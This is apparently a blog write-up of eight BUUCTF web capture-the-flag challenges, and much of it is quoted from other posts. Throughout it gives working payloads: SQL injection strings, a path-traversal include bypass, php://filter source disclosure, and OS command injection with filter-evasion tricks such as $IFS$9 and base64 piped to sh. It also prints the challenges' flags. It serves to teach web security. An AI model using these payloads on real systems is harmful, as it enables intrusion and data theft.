BUUCTF Web (一) 1~8

[极客大挑战 2019]EasySQL

题型:一个简简单单的SQL注入。

一个登录页面,相当一把锁,那我们需要一个钥匙,这里尝试一下万能钥匙吧。

附页:

比如我们对一个登录功能进行注入,我们在不知道密码的情况下,在密码栏输入 1’ or 1 = 1 # ,那么这个sql语句执行的就是select * from user where password=‘1’ or 1 =1 # 被注释部分,显而易见这样的查询返回的必定是真,所以我们可以直接登录。
————————————————

                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:https://blog.csdn.net/qq_51003021/article/details/126310258

SQL基础注入 ,在这里可以去学习了解一下,SQL注入,以及为啥1’+‘1’=‘1是万能钥匙了。

登录得到flag。

[极客大挑战 2019]Havefun

无论是查看源代码,还是f12查看板都可以看到,这是个GET传参。

payload 构造:/?cat = dog,得到flag。

这里引用一个渗透专业名词,没事的时候可以看看。

[HCTF 2018]WarmUp

类型:PHP 代码审计 

查看一下源代码,发现有一个php文件,

打开,即后缀/source.php加上,即可。

打开以后发现了一堆php代码

同样的,后缀更改/hint.php,进入看看吧,

 

flag不在这里,在这个ffffllllaaaagggg里。好吧,后缀更改 /ffffllllaaaagggg,发现不对,题中提示代码审计,了解一下代码审计基础

不会写,查了一个大佬的:

 然后回来source.php看这段代码,通过上网查询关于php的函数的用法。然后审计代码得出,其中有两个解法,如果if函数成立(也就是(白名单)?file=(白名单)?)我们就会得到它包含在里面的文件{file}。

php

    <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)//这里定义了一个checkFire函数
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
                if (! isset($page) || !is_string($page)) {//判断格式与是否是字符类型
                    echo "you can't see it";
                    return false;
                }
     
                if (in_array($page, $whitelist)) {
                    return true;
                }
     
                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')//截取问号前的字符串
                );
                if (in_array($_page, $whitelist)) {//判断是不是白名单上的
                    return true;
                }
     
                $_page = urldecode($page);//如果不成立则执行该代码块
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')//这里对‘?’二次URL解码
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
     
        if (! empty($_REQUEST['file'])//检查变量是否为空
            && is_string($_REQUEST['file'])//判断是否为字符串
            && emmm::checkFile($_REQUEST['file'])//调用checkFile函数————————>需要函数返回一个true;
        ) {
            include $_REQUEST['file'];//这里包含一个文件   盲猜里面有flag
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  

(php代码、函数看不懂就上网搜)

我们键入source.php?file=hint.php?ffffllllaaaagggg

 

这里我们看不到那个表情包图片,说明我们键入的source.php?file=hint.php?ffffllllaaaagggg———满足条件
————————————————

                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:https://blog.csdn.net/weixin_64160292/article/details/123859749

由于我们不知道它的目录,所以用../返回(5次),打开ffffllllaaaagggg文件,说明在需要在后面建入 :

source.php?file=hint.php?../../../../../ffffllllaaaagggg

本题需要一点php编程基础

涉及的语法:

is_string():检测变量是否是字符串
isset():检测变量是否已设置并且非 NULL
in_array(要搜索的值,要搜索的数组):搜索数组中是否存在指定的值
mb_substr($page,n,m):返回page中从第n位开始,到n+m位字符串的值
mb_strpos():查找字符串在另一个字符串中首次出现的位置
urldecode():将url编码后的字符串还原成未编码的样子
————————————————

                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:https://blog.csdn.net/m0_52923241/article/details/119641325

答案就可以得到了。

[ACTF2020 新生赛]Include

打开以后看到了一个绿绿的tips,点它!

 

发现了url的上面多了一个flag.php文件,那就很可能和漏洞有关了,想想办法怎末打开这个文件尼。。。

学习一下:

重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;

payload: /?file=php://filter/read=convert.base64-encode/resource=flag.php

 

得到base64编码后的内容为:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2U4MzdmMmYtYjI2Mi00ZDYxLWEzOWQtOTE4OWIwYmM0ODZkfQo=

base64解码一下就可以了。base64编码工具

 

[ACTF2020 新生赛]Exe

一个很熟悉的题,首先了解一下基础知识点。

ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)

cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。

所以默认地址输入并查看一下目录:

127.0.0.1|ls

得到文件目录:

只有一个php文件,试了一下没啥用,访问一下上一级:

127.0.0.1|ls /

得到了完整目录:

有个flag文件,打开看看是不是答案吧

127.0.0.1|cat /flag

 注意空格,得到了答案

[GXYCTF2019]Ping Ping Ping

这里打开以后提示了有关ip的,并且有点像命令执行,试一下默认ip

/?ip=127.0.0.1|ls

得到两个文件。

打开这两个文件

/?ip=127.0.0.1|cat flag.php

 

/?ip=127.0.0.1|cat index.php

 

相同的结果,/?ip=关闭你的共享空间。查了一下,说是存在对空格的过滤。

命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

1./?ip=127.0.0.1|{cat,flag.php}

 {}被过滤了,直接上第3种。

3./?ip=127.0.0.1|cat$IFS$9flag.php

 

flag被过滤了。说明这个文件不行,换一个文件

/?ip=127.0.0.1|cat$IFS$9index.php

出现了不一样的东西。看不懂,看看别人的做法吧。

  •     方法一:变量拼接字符串——将a的值覆盖,然后进行绕过

    构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
    总之就是用变量拼接成flag


 啥也没有,查看源码

/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{af15354a-6bdf-4609-b230-75bdc03e1dbf}";
?>

拿到flag~~

  •     方法二:内联执行

    内联函数:将指定的函数体插入并取代每一处调用该函数的地方。

    反引号在linux中作为内联执行,执行输出结果。也就是说

    cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php

    构造payload /?ip=127.0.0.1;cat$IFS$9`ls`

  •     方法三:sh命令来执行

    使用 base64 编码的方式来绕过 flag 过滤。

    加密命令
    echo “cat flag.php” | base64
    解密命令并执行
    echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

然后用$IFS$9代替空格。
构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
拿到flag~~

[强网杯 2019]随便注

很抱歉,不会,我太菜了,给大家提供厉害的答案。

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

 

[SUCTF 2019]EasySQL

和上一题一样,注入题,不会

下面是学习众多大佬的方法
不知道大佬们怎么猜测出查询语句为:select ".$post['query']."||flag from Flag
由于本题没有过滤*,用*查询flag中的所有字段,所以直接构造payload为:

*,1


在这里插入图片描述
就是这么神奇

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值